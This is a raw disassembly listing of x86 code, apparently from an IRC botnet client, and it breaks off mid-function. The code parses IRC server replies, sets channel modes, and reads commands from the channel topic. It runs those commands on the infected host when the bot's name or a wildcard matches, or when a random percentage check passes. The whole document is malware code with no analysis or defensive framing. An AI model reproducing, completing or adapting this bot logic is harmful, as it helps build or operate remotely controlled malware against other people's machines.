		push	offset dword_41DAA4
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx

loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------

loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax

loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset dword_41DAB4
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------

loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------

loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx

loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4

loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------

loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0

loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0

loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------

loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------

loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------

loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158

loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------

loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0

loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------

loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------

loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1

loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------

loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------

loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax

loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8

loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1

loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------

loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------

loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------

loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE48
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax

loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax

loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------

loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------

loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------

loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------

loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------

loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------

loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax

loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------

loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0

loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0

loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0

loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------

loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE48
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------

loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------

loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE48
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------

loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1

loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch

loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E9AC, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------

loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E9AC, 0

loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B

loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------

loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5

loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h

loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------

loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax

loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA5C[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------

loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
